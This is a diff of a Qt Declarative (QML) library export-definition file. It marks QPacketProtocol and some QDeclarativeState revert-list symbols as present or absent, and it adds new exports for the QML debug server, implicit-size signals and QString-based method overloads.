 	?tr@QListModelInterface@@SA?AVQString@@PBD0@Z @ 1048 NONAME ABSENT ; class QString QListModelInterface::tr(char const *, char const *)
@@ -1088,7 +1088,7 @@ EXPORTS
 	?resetWidth@QDeclarativeItemPrivate@@UAEXXZ @ 1087 NONAME ; void QDeclarativeItemPrivate::resetWidth(void)
 	??AQDeclarativeOpenMetaObject@@QAEAAVQVariant@@ABVQByteArray@@@Z @ 1088 NONAME ABSENT ; class QVariant & QDeclarativeOpenMetaObject::operator[](class QByteArray const &)
 	?bottom@QDeclarativeItemPrivate@@QBE?AVQDeclarativeAnchorLine@@XZ @ 1089 NONAME ; class QDeclarativeAnchorLine QDeclarativeItemPrivate::bottom(void) const
-	?device@QPacketProtocol@@QAEPAVQIODevice@@XZ @ 1090 NONAME ABSENT ; class QIODevice * QPacketProtocol::device(void)
+	?device@QPacketProtocol@@QAEPAVQIODevice@@XZ @ 1090 NONAME ; class QIODevice * QPacketProtocol::device(void)
 	?trUtf8@QDeclarativeStateGroup@@SA?AVQString@@PBD0@Z @ 1091 NONAME ; class QString QDeclarativeStateGroup::trUtf8(char const *, char const *)
 	?variantFromString@QDeclarativeStringConverters@@YA?AVQVariant@@ABVQString@@HPA_N@Z @ 1092 NONAME ABSENT ; class QVariant QDeclarativeStringConverters::variantFromString(class QString const &, int, bool *)
 	?metaObject@QDeclarativeComponent@@UBEPBUQMetaObject@@XZ @ 1093 NONAME ; struct QMetaObject const * QDeclarativeComponent::metaObject(void) const
@@ -1110,7 +1110,7 @@ EXPORTS
 	??0QDeclarativeDebugFileReference@@QAE@XZ @ 1109 NONAME ABSENT ; QDeclarativeDebugFileReference::QDeclarativeDebugFileReference(void)
 	?mapFromItem@QDeclarativeItem@@QBE?AVQScriptValue@@ABV2@MM@Z @ 1110 NONAME ; class QScriptValue QDeclarativeItem::mapFromItem(class QScriptValue const &, float, float) const
 	?trUtf8@QDeclarativeStateOperation@@SA?AVQString@@PBD0H@Z @ 1111 NONAME ; class QString QDeclarativeStateOperation::trUtf8(char const *, char const *, int)
-	?tr@QPacketProtocol@@SA?AVQString@@PBD0H@Z @ 1112 NONAME ABSENT ; class QString QPacketProtocol::tr(char const *, char const *, int)
+	?tr@QPacketProtocol@@SA?AVQString@@PBD0H@Z @ 1112 NONAME ; class QString QPacketProtocol::tr(char const *, char const *, int)
 	?d_func@QDeclarativeAnchors@@ABEPBVQDeclarativeAnchorsPrivate@@XZ @ 1113 NONAME ABSENT ; class QDeclarativeAnchorsPrivate const * QDeclarativeAnchors::d_func(void) const
 	?setNotifySignal@QMetaPropertyBuilder@@QAEXABVQMetaMethodBuilder@@@Z @ 1114 NONAME ABSENT ; void QMetaPropertyBuilder::setNotifySignal(class QMetaMethodBuilder const &)
 	?enabled@QDeclarativeBehavior@@QBE_NXZ @ 1115 NONAME ABSENT ; bool QDeclarativeBehavior::enabled(void) const
@@ -1132,7 +1132,7 @@ EXPORTS
 	?noCreationReason@QDeclarativeType@@QBE?AVQString@@XZ @ 1131 NONAME ABSENT ; class QString QDeclarativeType::noCreationReason(void) const
 	?setUrl@QDeclarativeDebugFileReference@@QAEXABVQUrl@@@Z @ 1132 NONAME ABSENT ; void QDeclarativeDebugFileReference::setUrl(class QUrl const &)
 	??1QDeclarativeCustomParserProperty@@QAE@XZ @ 1133 NONAME ; QDeclarativeCustomParserProperty::~QDeclarativeCustomParserProperty(void)
-	??1QPacketProtocol@@UAE@XZ @ 1134 NONAME ABSENT ; QPacketProtocol::~QPacketProtocol(void)
+	??1QPacketProtocol@@UAE@XZ @ 1134 NONAME ; QPacketProtocol::~QPacketProtocol(void)
 	??1QDeclarativeAbstractBinding@@MAE@XZ @ 1135 NONAME ABSENT ; QDeclarativeAbstractBinding::~QDeclarativeAbstractBinding(void)
 	?indexOfEnumerator@QMetaObjectBuilder@@QAEHABVQByteArray@@@Z @ 1136 NONAME ABSENT ; int QMetaObjectBuilder::indexOfEnumerator(class QByteArray const &)
 	?qt_metacast@QDeclarativePen@@UAEPAXPBD@Z @ 1137 NONAME ABSENT ; void * QDeclarativePen::qt_metacast(char const *)
@@ -1222,7 +1222,7 @@ EXPORTS
 	?statusChanged@QDeclarativeComponent@@IAEXW4Status@1@@Z @ 1221 NONAME ; void QDeclarativeComponent::statusChanged(enum QDeclarativeComponent::Status)
 	?setTarget@QDeclarativeBinding@@QAEXABVQDeclarativeProperty@@@Z @ 1222 NONAME ABSENT ; void QDeclarativeBinding::setTarget(class QDeclarativeProperty const &)
 	?imageProvider@QDeclarativeEngine@@QBEPAVQDeclarativeImageProvider@@ABVQString@@@Z @ 1223 NONAME ; class QDeclarativeImageProvider * QDeclarativeEngine::imageProvider(class QString const &) const
-	?packetsAvailable@QPacketProtocol@@QBE_JXZ @ 1224 NONAME ABSENT ; long long QPacketProtocol::packetsAvailable(void) const
+	?packetsAvailable@QPacketProtocol@@QBE_JXZ @ 1224 NONAME ; long long QPacketProtocol::packetsAvailable(void) const
 	?state@QDeclarativeDebugWatch@@QBE?AW4State@1@XZ @ 1225 NONAME ABSENT ; enum QDeclarativeDebugWatch::State QDeclarativeDebugWatch::state(void) const
 	?attachedPropertiesFuncById@QDeclarativeMetaType@@SAP6APAVQObject@@PAV2@@ZH@Z @ 1226 NONAME ABSENT ; class QObject * (*)(class QObject *) QDeclarativeMetaType::attachedPropertiesFuncById(int)
 	?resetBaseline@QDeclarativeAnchors@@QAEXXZ @ 1227 NONAME ABSENT ; void QDeclarativeAnchors::resetBaseline(void)
@@ -1341,7 +1341,7 @@ EXPORTS
 	?implicitWidth@QDeclarativeItem@@QBEMXZ @ 1340 NONAME ; float QDeclarativeItem::implicitWidth(void) const
 	?metaObject@QDeclarativeContext@@UBEPBUQMetaObject@@XZ @ 1341 NONAME ; struct QMetaObject const * QDeclarativeContext::metaObject(void) const
 	??0QDeclarativeContext@@AAE@PAVQDeclarativeContextData@@@Z @ 1342 NONAME ; QDeclarativeContext::QDeclarativeContext(class QDeclarativeContextData *)
-	?maximumPacketSize@QPacketProtocol@@QBEHXZ @ 1343 NONAME ABSENT ; int QPacketProtocol::maximumPacketSize(void) const
+	?maximumPacketSize@QPacketProtocol@@QBEHXZ @ 1343 NONAME ; int QPacketProtocol::maximumPacketSize(void) const
 	??_EQDeclarativeDebuggerStatus@@UAE@I@Z @ 1344 NONAME ABSENT ; QDeclarativeDebuggerStatus::~QDeclarativeDebuggerStatus(unsigned int)
 	?error@QDeclarativeCustomParser@@IAEXABVQString@@@Z @ 1345 NONAME ; void QDeclarativeCustomParser::error(class QString const &)
 	?messageReceived@QDeclarativeDebugService@@MAEXABVQByteArray@@@Z @ 1346 NONAME ABSENT ; void QDeclarativeDebugService::messageReceived(class QByteArray const &)
@@ -1389,12 +1389,12 @@ EXPORTS
 	?setEnabled@QDeclarativeDebugClient@@QAEX_N@Z @ 1388 NONAME ABSENT ; void QDeclarativeDebugClient::setEnabled(bool)
 	??1QMetaObjectBuilder@@UAE@XZ @ 1389 NONAME ABSENT ; QMetaObjectBuilder::~QMetaObjectBuilder(void)
 	?tr@QDeclarativeStateOperation@@SA?AVQString@@PBD0@Z @ 1390 NONAME ; class QString QDeclarativeStateOperation::tr(char const *, char const *)
-	?clear@QPacket@@QAEXXZ @ 1391 NONAME ABSENT ; void QPacket::clear(void)
+	?clear@QPacket@@QAEXXZ @ 1391 NONAME ; void QPacket::clear(void)
 	?getStaticMetaObject@QDeclarativeDebugClient@@SAABUQMetaObject@@XZ @ 1392 NONAME ABSENT ; struct QMetaObject const & QDeclarativeDebugClient::getStaticMetaObject(void)
 	??0QDeclarativeDomList@@QAE@ABV0@@Z @ 1393 NONAME ABSENT ; QDeclarativeDomList::QDeclarativeDomList(class QDeclarativeDomList const &)
 	?gridTop@QDeclarativeGridScaledImage@@QBEHXZ @ 1394 NONAME ABSENT ; int QDeclarativeGridScaledImage::gridTop(void) const
 	?setUrl@QDeclarativeError@@QAEXABVQUrl@@@Z @ 1395 NONAME ; void QDeclarativeError::setUrl(class QUrl const &)
-	?setMaximumPacketSize@QPacketProtocol@@QAEHH@Z @ 1396 NONAME ABSENT ; int QPacketProtocol::setMaximumPacketSize(int)
+	?setMaximumPacketSize@QPacketProtocol@@QAEHH@Z @ 1396 NONAME ; int QPacketProtocol::setMaximumPacketSize(int)
 	??_EQDeclarativeAction@@QAE@I@Z @ 1397 NONAME ABSENT ; QDeclarativeAction::~QDeclarativeAction(unsigned int)
 	?trUtf8@QDeclarativeDebugWatch@@SA?AVQString@@PBD0@Z @ 1398 NONAME ABSENT ; class QString QDeclarativeDebugWatch::trUtf8(char const *, char const *)
 	?read@QDeclarativeProperty@@SA?AVQVariant@@PAVQObject@@ABVQString@@@Z @ 1399 NONAME ; class QVariant QDeclarativeProperty::read(class QObject *, class QString const &)
@@ -1472,7 +1472,7 @@ EXPORTS
 	?signalExpression@QDeclarativePropertyPrivate@@SAPAVQDeclarativeExpression@@ABVQDeclarativeProperty@@@Z @ 1471 NONAME ABSENT ; class QDeclarativeExpression * QDeclarativePropertyPrivate::signalExpression(class QDeclarativeProperty const &)
 	?networkAccessManagerFactory@QDeclarativeEngine@@QBEPAVQDeclarativeNetworkAccessManagerFactory@@XZ @ 1472 NONAME ; class QDeclarativeNetworkAccessManagerFactory * QDeclarativeEngine::networkAccessManagerFactory(void) const
 	?isStringList@Variant@QDeclarativeParser@@QBE_NXZ @ 1473 NONAME ; bool QDeclarativeParser::Variant::isStringList(void) const
-	?packetWritten@QPacketProtocol@@IAEXXZ @ 1474 NONAME ABSENT ; void QPacketProtocol::packetWritten(void)
+	?packetWritten@QPacketProtocol@@IAEXXZ @ 1474 NONAME ; void QPacketProtocol::packetWritten(void)
 	?getStaticMetaObject@QDeclarativeDebugObjectQuery@@SAABUQMetaObject@@XZ @ 1475 NONAME ABSENT ; struct QMetaObject const & QDeclarativeDebugObjectQuery::getStaticMetaObject(void)
 	?isSignalProperty@QDeclarativeProperty@@QBE_NXZ @ 1476 NONAME ; bool QDeclarativeProperty::isSignalProperty(void) const
 	?d_func@QDeclarativeDebugService@@AAEPAVQDeclarativeDebugServicePrivate@@XZ @ 1477 NONAME ABSENT ; class QDeclarativeDebugServicePrivate * QDeclarativeDebugService::d_func(void)
@@ -1488,7 +1488,7 @@ EXPORTS
 	?qt_metacast@QDeclarativePropertyMap@@UAEPAXPBD@Z @ 1487 NONAME ; void * QDeclarativePropertyMap::qt_metacast(char const *)
 	?classBegin@QDeclarativeAnchors@@QAEXXZ @ 1488 NONAME ABSENT ; void QDeclarativeAnchors::classBegin(void)
 	?color@QDeclarativeText@@QBE?AVQColor@@XZ @ 1489 NONAME ABSENT ; class QColor QDeclarativeText::color(void) const
-	?metaObject@QPacketProtocol@@UBEPBUQMetaObject@@XZ @ 1490 NONAME ABSENT ; struct QMetaObject const * QPacketProtocol::metaObject(void) const
+	?metaObject@QPacketProtocol@@UBEPBUQMetaObject@@XZ @ 1490 NONAME ; struct QMetaObject const * QPacketProtocol::metaObject(void) const
 	??4QDeclarativeGridScaledImage@@QAEAAV0@ABV0@@Z @ 1491 NONAME ABSENT ; class QDeclarativeGridScaledImage & QDeclarativeGridScaledImage::operator=(class QDeclarativeGridScaledImage const &)
 	?tr@QDeclarativeScaleGrid@@SA?AVQString@@PBD0@Z @ 1492 NONAME ABSENT ; class QString QDeclarativeScaleGrid::tr(char const *, char const *)
 	??1QDeclarativeScriptString@@QAE@XZ @ 1493 NONAME ; QDeclarativeScriptString::~QDeclarativeScriptString(void)
@@ -1619,7 +1619,7 @@ EXPORTS
 	?metaObject@QDeclarativeItem@@UBEPBUQMetaObject@@XZ @ 1618 NONAME ; struct QMetaObject const * QDeclarativeItem::metaObject(void) const
 	?clear@QDeclarativeAbstractBinding@@IAEXXZ @ 1619 NONAME ABSENT ; void QDeclarativeAbstractBinding::clear(void)
 	?start@QDeclarativeItemPrivate@@SAXAAVQElapsedTimer@@@Z @ 1620 NONAME ; void QDeclarativeItemPrivate::start(class QElapsedTimer &)
-	?load@QDeclarativePixmap@@QAEXPAVQDeclarativeEngine@@ABVQUrl@@ABVQSize@@_N@Z @ 1621 NONAME ; void QDeclarativePixmap::load(class QDeclarativeEngine *, class QUrl const &, class QSize const &, bool)
+	?load@QDeclarativePixmap@@QAEXPAVQDeclarativeEngine@@ABVQUrl@@ABVQSize@@_N@Z @ 1621 NONAME ABSENT ; void QDeclarativePixmap::load(class QDeclarativeEngine *, class QUrl const &, class QSize const &, bool)
 	?stringToRule@QDeclarativeGridScaledImage@@CA?AW4TileMode@QDeclarativeBorderImage@@ABVQString@@@Z @ 1622 NONAME ABSENT ; enum QDeclarativeBorderImage::TileMode QDeclarativeGridScaledImage::stringToRule(class QString const &)
 	?setHorizontalCenter@QDeclarativeAnchors@@QAEXABVQDeclarativeAnchorLine@@@Z @ 1623 NONAME ABSENT ; void QDeclarativeAnchors::setHorizontalCenter(class QDeclarativeAnchorLine const &)
 	?setFocus@QDeclarativeItem@@QAEX_N@Z @ 1624 NONAME ; void QDeclarativeItem::setFocus(bool)
@@ -1631,7 +1631,7 @@ EXPORTS
 	??0QDeclarativeContext@@AAE@PAVQDeclarativeEngine@@_N@Z @ 1630 NONAME ; QDeclarativeContext::QDeclarativeContext(class QDeclarativeEngine *, bool)
 	?initialValue@QDeclarativeOpenMetaObject@@UAE?AVQVariant@@H@Z @ 1631 NONAME ABSENT ; class QVariant QDeclarativeOpenMetaObject::initialValue(int)
 	?tr@QDeclarativeView@@SA?AVQString@@PBD0@Z @ 1632 NONAME ; class QString QDeclarativeView::tr(char const *, char const *)
-	?qt_metacall@QPacketProtocol@@UAEHW4Call@QMetaObject@@HPAPAX@Z @ 1633 NONAME ABSENT ; int QPacketProtocol::qt_metacall(enum QMetaObject::Call, int, void * *)
+	?qt_metacall@QPacketProtocol@@UAEHW4Call@QMetaObject@@HPAPAX@Z @ 1633 NONAME ; int QPacketProtocol::qt_metacall(enum QMetaObject::Call, int, void * *)
 	??0QDeclarativeItem@@QAE@PAV0@@Z @ 1634 NONAME ; QDeclarativeItem::QDeclarativeItem(class QDeclarativeItem *)
 	?hasDebuggingClient@QDeclarativeDebugService@@SA_NXZ @ 1635 NONAME ABSENT ; bool QDeclarativeDebugService::hasDebuggingClient(void)
 	?staticMetaObject@QDeclarativeContext@@2UQMetaObject@@B @ 1636 NONAME ; struct QMetaObject const QDeclarativeContext::staticMetaObject
@@ -1645,15 +1645,15 @@ EXPORTS
 	??_EQDeclarativePropertyChanges@@UAE@I@Z @ 1644 NONAME ABSENT ; QDeclarativePropertyChanges::~QDeclarativePropertyChanges(unsigned int)
 	?setObject@QDeclarativePropertyChanges@@QAEXPAVQObject@@@Z @ 1645 NONAME ABSENT ; void QDeclarativePropertyChanges::setObject(class QObject *)
 	?staticMetaObject@QDeclarativePropertyChanges@@2UQMetaObject@@B @ 1646 NONAME ABSENT ; struct QMetaObject const QDeclarativePropertyChanges::staticMetaObject
-	?removeEntryFromRevertList@QDeclarativeState@@QAE_NPAVQObject@@ABVQByteArray@@@Z @ 1647 NONAME ; bool QDeclarativeState::removeEntryFromRevertList(class QObject *, class QByteArray const &)
+	?removeEntryFromRevertList@QDeclarativeState@@QAE_NPAVQObject@@ABVQByteArray@@@Z @ 1647 NONAME ABSENT ; bool QDeclarativeState::removeEntryFromRevertList(class QObject *, class QByteArray const &)
 	?restoreEntryValues@QDeclarativePropertyChanges@@QBE_NXZ @ 1648 NONAME ABSENT ; bool QDeclarativePropertyChanges::restoreEntryValues(void) const
 	?setRestoreEntryValues@QDeclarativePropertyChanges@@QAEX_N@Z @ 1649 NONAME ABSENT ; void QDeclarativePropertyChanges::setRestoreEntryValues(bool)
 	?changeValue@QDeclarativePropertyChanges@@QAEXABVQByteArray@@ABVQVariant@@@Z @ 1650 NONAME ABSENT ; void QDeclarativePropertyChanges::changeValue(class QByteArray const &, class QVariant const &)
 	?metaObject@QDeclarativePropertyChanges@@UBEPBUQMetaObject@@XZ @ 1651 NONAME ABSENT ; struct QMetaObject const * QDeclarativePropertyChanges::metaObject(void) const
 	?data_clear@QDeclarativeItemPrivate@@SAXPAV?$QDeclarativeListProperty@VQObject@@@@@Z @ 1652 NONAME ; void QDeclarativeItemPrivate::data_clear(class QDeclarativeListProperty<class QObject> *)
-	?containsPropertyInRevertList@QDeclarativeState@@QBE_NPAVQObject@@ABVQByteArray@@@Z @ 1653 NONAME ; bool QDeclarativeState::containsPropertyInRevertList(class QObject *, class QByteArray const &) const
+	?containsPropertyInRevertList@QDeclarativeState@@QBE_NPAVQObject@@ABVQByteArray@@@Z @ 1653 NONAME ABSENT ; bool QDeclarativeState::containsPropertyInRevertList(class QObject *, class QByteArray const &) const
 	?containsValue@QDeclarativePropertyChanges@@QBE_NABVQByteArray@@@Z @ 1654 NONAME ABSENT ; bool QDeclarativePropertyChanges::containsValue(class QByteArray const &) const
-	?bindingInRevertList@QDeclarativeState@@QBEPAVQDeclarativeAbstractBinding@@PAVQObject@@ABVQByteArray@@@Z @ 1655 NONAME ; class QDeclarativeAbstractBinding * QDeclarativeState::bindingInRevertList(class QObject *, class QByteArray const &) const
+	?bindingInRevertList@QDeclarativeState@@QBEPAVQDeclarativeAbstractBinding@@PAVQObject@@ABVQByteArray@@@Z @ 1655 NONAME ABSENT ; class QDeclarativeAbstractBinding * QDeclarativeState::bindingInRevertList(class QObject *, class QByteArray const &) const
 	?d_func@QDeclarativePropertyChanges@@ABEPBVQDeclarativePropertyChangesPrivate@@XZ @ 1656 NONAME ABSENT ; class QDeclarativePropertyChangesPrivate const * QDeclarativePropertyChanges::d_func(void) const
 	?containsProperty@QDeclarativePropertyChanges@@QBE_NABVQByteArray@@@Z @ 1657 NONAME ABSENT ; bool QDeclarativePropertyChanges::containsProperty(class QByteArray const &) const
 	?trUtf8@QDeclarativePropertyChanges@@SA?AVQString@@PBD0H@Z @ 1658 NONAME ABSENT ; class QString QDeclarativePropertyChanges::trUtf8(char const *, char const *, int)
@@ -1677,17 +1677,17 @@ EXPORTS
 	?addEntriesToRevertList@QDeclarativeState@@QAEXABV?$QList@VQDeclarativeAction@@@@@Z @ 1676 NONAME ; void QDeclarativeState::addEntriesToRevertList(class QList<class QDeclarativeAction> const &)
 	?expression@QDeclarativePropertyChanges@@QBE?AVQString@@ABVQByteArray@@@Z @ 1677 NONAME ABSENT ; class QString QDeclarativePropertyChanges::expression(class QByteArray const &) const
 	?object@QDeclarativePropertyChanges@@QBEPAVQObject@@XZ @ 1678 NONAME ABSENT ; class QObject * QDeclarativePropertyChanges::object(void) const
-	?valueInRevertList@QDeclarativeState@@QBE?AVQVariant@@PAVQObject@@ABVQByteArray@@@Z @ 1679 NONAME ; class QVariant QDeclarativeState::valueInRevertList(class QObject *, class QByteArray const &) const
+	?valueInRevertList@QDeclarativeState@@QBE?AVQVariant@@PAVQObject@@ABVQByteArray@@@Z @ 1679 NONAME ABSENT ; class QVariant QDeclarativeState::valueInRevertList(class QObject *, class QByteArray const &) const
 	?removeAllEntriesFromRevertList@QDeclarativeState@@QAEXPAVQObject@@@Z @ 1680 NONAME ; void QDeclarativeState::removeAllEntriesFromRevertList(class QObject *)
 	?d_func@QDeclarativeStateOperation@@AAEPAVQDeclarativeStateOperationPrivate@@XZ @ 1681 NONAME ; class QDeclarativeStateOperationPrivate * QDeclarativeStateOperation::d_func(void)
-	?changeValueInRevertList@QDeclarativeState@@QAE_NPAVQObject@@ABVQByteArray@@ABVQVariant@@@Z @ 1682 NONAME ; bool QDeclarativeState::changeValueInRevertList(class QObject *, class QByteArray const &, class QVariant const &)
+	?changeValueInRevertList@QDeclarativeState@@QAE_NPAVQObject@@ABVQByteArray@@ABVQVariant@@@Z @ 1682 NONAME ABSENT ; bool QDeclarativeState::changeValueInRevertList(class QObject *, class QByteArray const &, class QVariant const &)
 	?setIsExplicit@QDeclarativePropertyChanges@@QAEX_N@Z @ 1683 NONAME ABSENT ; void QDeclarativePropertyChanges::setIsExplicit(bool)
 	?isStateActive@QDeclarativeState@@QBE_NXZ @ 1684 NONAME ; bool QDeclarativeState::isStateActive(void) const
 	?data_count@QDeclarativeItemPrivate@@SAHPAV?$QDeclarativeListProperty@VQObject@@@@@Z @ 1685 NONAME ; int QDeclarativeItemPrivate::data_count(class QDeclarativeListProperty<class QObject> *)
 	?removeProperty@QDeclarativePropertyChanges@@QAEXABVQByteArray@@@Z @ 1686 NONAME ABSENT ; void QDeclarativePropertyChanges::removeProperty(class QByteArray const &)
 	?data_at@QDeclarativeItemPrivate@@SAPAVQObject@@PAV?$QDeclarativeListProperty@VQObject@@@@H@Z @ 1687 NONAME ; class QObject * QDeclarativeItemPrivate::data_at(class QDeclarativeListProperty<class QObject> *, int)
 	?tr@QDeclarativePropertyChanges@@SA?AVQString@@PBD0@Z @ 1688 NONAME ABSENT ; class QString QDeclarativePropertyChanges::tr(char const *, char const *)
-	?changeBindingInRevertList@QDeclarativeState@@QAE_NPAVQObject@@ABVQByteArray@@PAVQDeclarativeAbstractBinding@@@Z @ 1689 NONAME ; bool QDeclarativeState::changeBindingInRevertList(class QObject *, class QByteArray const &, class QDeclarativeAbstractBinding *)
+	?changeBindingInRevertList@QDeclarativeState@@QAE_NPAVQObject@@ABVQByteArray@@PAVQDeclarativeAbstractBinding@@@Z @ 1689 NONAME ABSENT ; bool QDeclarativeState::changeBindingInRevertList(class QObject *, class QByteArray const &, class QDeclarativeAbstractBinding *)
 	?getStaticMetaObject@QDeclarativePropertyChanges@@SAABUQMetaObject@@XZ @ 1690 NONAME ABSENT ; struct QMetaObject const & QDeclarativePropertyChanges::getStaticMetaObject(void)
 	?weakPointer@QDeclarativeAbstractBinding@@QAE?AV?$QWeakPointer@VQDeclarativeAbstractBinding@@@@XZ @ 1691 NONAME ABSENT ; class QWeakPointer<class QDeclarativeAbstractBinding> QDeclarativeAbstractBinding::weakPointer(void)
 	?getStaticMetaObject@QDeclarativeScriptAction@@SAABUQMetaObject@@XZ @ 1692 NONAME ABSENT ; struct QMetaObject const & QDeclarativeScriptAction::getStaticMetaObject(void)
@@ -1840,4 +1840,52 @@ EXPORTS
 	?qt_metacall@QDeclarativeAbstractAnimation@@UAEHW4Call@QMetaObject@@HPAPAX@Z @ 1839 NONAME ABSENT ; int QDeclarativeAbstractAnimation::qt_metacall(enum QMetaObject::Call, int, void * *)
 	?enableDebugging@QDeclarativeDebugHelper@@SAXXZ @ 1840 NONAME ; void QDeclarativeDebugHelper::enableDebugging(void)
 	?connect@QDeclarativePropertyPrivate@@SA_NPBVQObject@@H0HHPAH@Z @ 1841 NONAME ABSENT ; bool QDeclarativePropertyPrivate::connect(class QObject const *, int, class QObject const *, int, int, int *)
+	?qt_metacall@QDeclarativeDebugServer@@UAEHW4Call@QMetaObject@@HPAPAX@Z @ 1842 NONAME ; int QDeclarativeDebugServer::qt_metacall(enum QMetaObject::Call, int, void * *)
+	?implicitHeight@QDeclarativeItemPrivate@@UBEMXZ @ 1843 NONAME ; float QDeclarativeItemPrivate::implicitHeight(void) const
+	?instance@QDeclarativeDebugServer@@SAPAV1@XZ @ 1844 NONAME ; class QDeclarativeDebugServer * QDeclarativeDebugServer::instance(void)
+	?addService@QDeclarativeDebugServer@@QAE_NPAVQDeclarativeDebugService@@@Z @ 1845 NONAME ; bool QDeclarativeDebugServer::addService(class QDeclarativeDebugService *)
+	?containsPropertyInRevertList@QDeclarativeState@@QBE_NPAVQObject@@ABVQString@@@Z @ 1846 NONAME ; bool QDeclarativeState::containsPropertyInRevertList(class QObject *, class QString const &) const
+	?data@QPacket@@QBE?AVQByteArray@@XZ @ 1847 NONAME ; class QByteArray QPacket::data(void) const
+	?removeService@QDeclarativeDebugServer@@QAE_NPAVQDeclarativeDebugService@@@Z @ 1848 NONAME ; bool QDeclarativeDebugServer::removeService(class QDeclarativeDebugService *)
+	?serviceNames@QDeclarativeDebugServer@@QBE?AVQStringList@@XZ @ 1849 NONAME ; class QStringList QDeclarativeDebugServer::serviceNames(void) const
+	??_EQDeclarativeDebugServer@@UAE@I@Z @ 1850 NONAME ; QDeclarativeDebugServer::~QDeclarativeDebugServer(unsigned int)
+	?staticMetaObject@QDeclarativeDebugServer@@2UQMetaObject@@B @ 1851 NONAME ; struct QMetaObject const QDeclarativeDebugServer::staticMetaObject
+	?services@QDeclarativeDebugServer@@QBE?AV?$QList@PAVQDeclarativeDebugService@@@@XZ @ 1852 NONAME ; class QList<class QDeclarativeDebugService *> QDeclarativeDebugServer::services(void) const
+	?rewriteBinding@QDeclarativeCustomParser@@IAEHABVQString@@ABVQByteArray@@@Z @ 1853 NONAME ; int QDeclarativeCustomParser::rewriteBinding(class QString const &, class QByteArray const &)
+	?changeValueInRevertList@QDeclarativeState@@QAE_NPAVQObject@@ABVQString@@ABVQVariant@@@Z @ 1854 NONAME ; bool QDeclarativeState::changeValueInRevertList(class QObject *, class QString const &, class QVariant const &)
+	?load@QDeclarativePixmap@@QAEXPAVQDeclarativeEngine@@ABVQUrl@@ABVQSize@@V?$QFlags@W4Option@QDeclarativePixmap@@@@@Z @ 1855 NONAME ; void QDeclarativePixmap::load(class QDeclarativeEngine *, class QUrl const &, class QSize const &, class QFlags<enum QDeclarativePixmap::Option>)
+	?implicitHeightChanged@QDeclarativeItemPrivate@@UAEXXZ @ 1856 NONAME ; void QDeclarativeItemPrivate::implicitHeightChanged(void)
+	?implicitWidthChanged@QDeclarativeItem@@IAEXXZ @ 1857 NONAME ; void QDeclarativeItem::implicitWidthChanged(void)
+	?implicitWidthChanged@QDeclarativeItemPrivate@@UAEXXZ @ 1858 NONAME ; void QDeclarativeItemPrivate::implicitWidthChanged(void)
+	?trUtf8@QDeclarativeDebugServer@@SA?AVQString@@PBD0H@Z @ 1859 NONAME ; class QString QDeclarativeDebugServer::trUtf8(char const *, char const *, int)
+	?implicitHeightChanged@QDeclarativeItem@@IAEXXZ @ 1860 NONAME ; void QDeclarativeItem::implicitHeightChanged(void)
+	?load@QDeclarativePixmap@@QAEXPAVQDeclarativeEngine@@ABVQUrl@@V?$QFlags@W4Option@QDeclarativePixmap@@@@@Z @ 1861 NONAME ; void QDeclarativePixmap::load(class QDeclarativeEngine *, class QUrl const &, class QFlags<enum QDeclarativePixmap::Option>)
+	?trUtf8@QDeclarativeDebugServer@@SA?AVQString@@PBD0@Z @ 1862 NONAME ; class QString QDeclarativeDebugServer::trUtf8(char const *, char const *)
+	??_EQDeclarativeDebugServerConnection@@UAE@I@Z @ 1863 NONAME ; QDeclarativeDebugServerConnection::~QDeclarativeDebugServerConnection(unsigned int)
+	?receiveMessage@QDeclarativeDebugServer@@QAEXABVQByteArray@@@Z @ 1864 NONAME ; void QDeclarativeDebugServer::receiveMessage(class QByteArray const &)
+	??0QDeclarativeDebugServer@@AAE@XZ @ 1865 NONAME ; QDeclarativeDebugServer::QDeclarativeDebugServer(void)
+	?tr@QDeclarativeDebugServer@@SA?AVQString@@PBD0@Z @ 1866 NONAME ; class QString QDeclarativeDebugServer::tr(char const *, char const *)
+	??1QDeclarativeDebugServer@@UAE@XZ @ 1867 NONAME ; QDeclarativeDebugServer::~QDeclarativeDebugServer(void)
+	?sendMessage@QDeclarativeDebugServer@@QAEXPAVQDeclarativeDebugService@@ABVQByteArray@@@Z @ 1868 NONAME ; void QDeclarativeDebugServer::sendMessage(class QDeclarativeDebugService *, class QByteArray const &)
+	??1QDeclarativeDebugServerConnection@@UAE@XZ @ 1869 NONAME ; QDeclarativeDebugServerConnection::~QDeclarativeDebugServerConnection(void)
+	?qt_metacast@QDeclarativeDebugServer@@UAEPAXPBD@Z @ 1870 NONAME ; void * QDeclarativeDebugServer::qt_metacast(char const *)
+	?hasDebuggingClient@QDeclarativeDebugServer@@QBE_NXZ @ 1871 NONAME ; bool QDeclarativeDebugServer::hasDebuggingClient(void) const
+	?bindingInRevertList@QDeclarativeState@@QBEPAVQDeclarativeAbstractBinding@@PAVQObject@@ABVQString@@@Z @ 1872 NONAME ; class QDeclarativeAbstractBinding * QDeclarativeState::bindingInRevertList(class QObject *, class QString const &) const
+	?getStaticMetaObject@QDeclarativeDebugServer@@SAABUQMetaObject@@XZ @ 1873 NONAME ; struct QMetaObject const & QDeclarativeDebugServer::getStaticMetaObject(void)
+	?metaObject@QDeclarativeDebugServer@@UBEPBUQMetaObject@@XZ @ 1874 NONAME ; struct QMetaObject const * QDeclarativeDebugServer::metaObject(void) const
+	?d_func@QDeclarativeDebugServer@@ABEPBVQDeclarativeDebugServerPrivate@@XZ @ 1875 NONAME ; class QDeclarativeDebugServerPrivate const * QDeclarativeDebugServer::d_func(void) const
+	??0QDeclarativeExpression@@IAE@PAVQDeclarativeContextData@@PAVQObject@@ABVQScriptValue@@AAVQDeclarativeExpressionPrivate@@@Z @ 1876 NONAME ; QDeclarativeExpression::QDeclarativeExpression(class QDeclarativeContextData *, class QObject *, class QScriptValue const &, class QDeclarativeExpressionPrivate &)
+	?createObject@QDeclarativeComponent@@IAE?AVQScriptValue@@PAVQObject@@ABV2@@Z @ 1877 NONAME ; class QScriptValue QDeclarativeComponent::createObject(class QObject *, class QScriptValue const &)
+	?changeBindingInRevertList@QDeclarativeState@@QAE_NPAVQObject@@ABVQString@@PAVQDeclarativeAbstractBinding@@@Z @ 1878 NONAME ; bool QDeclarativeState::changeBindingInRevertList(class QObject *, class QString const &, class QDeclarativeAbstractBinding *)
+	??0QDeclarativeDebugServerConnection@@QAE@XZ @ 1879 NONAME ; QDeclarativeDebugServerConnection::QDeclarativeDebugServerConnection(void)
+	?valueInRevertList@QDeclarativeState@@QBE?AVQVariant@@PAVQObject@@ABVQString@@@Z @ 1880 NONAME ; class QVariant QDeclarativeState::valueInRevertList(class QObject *, class QString const &) const
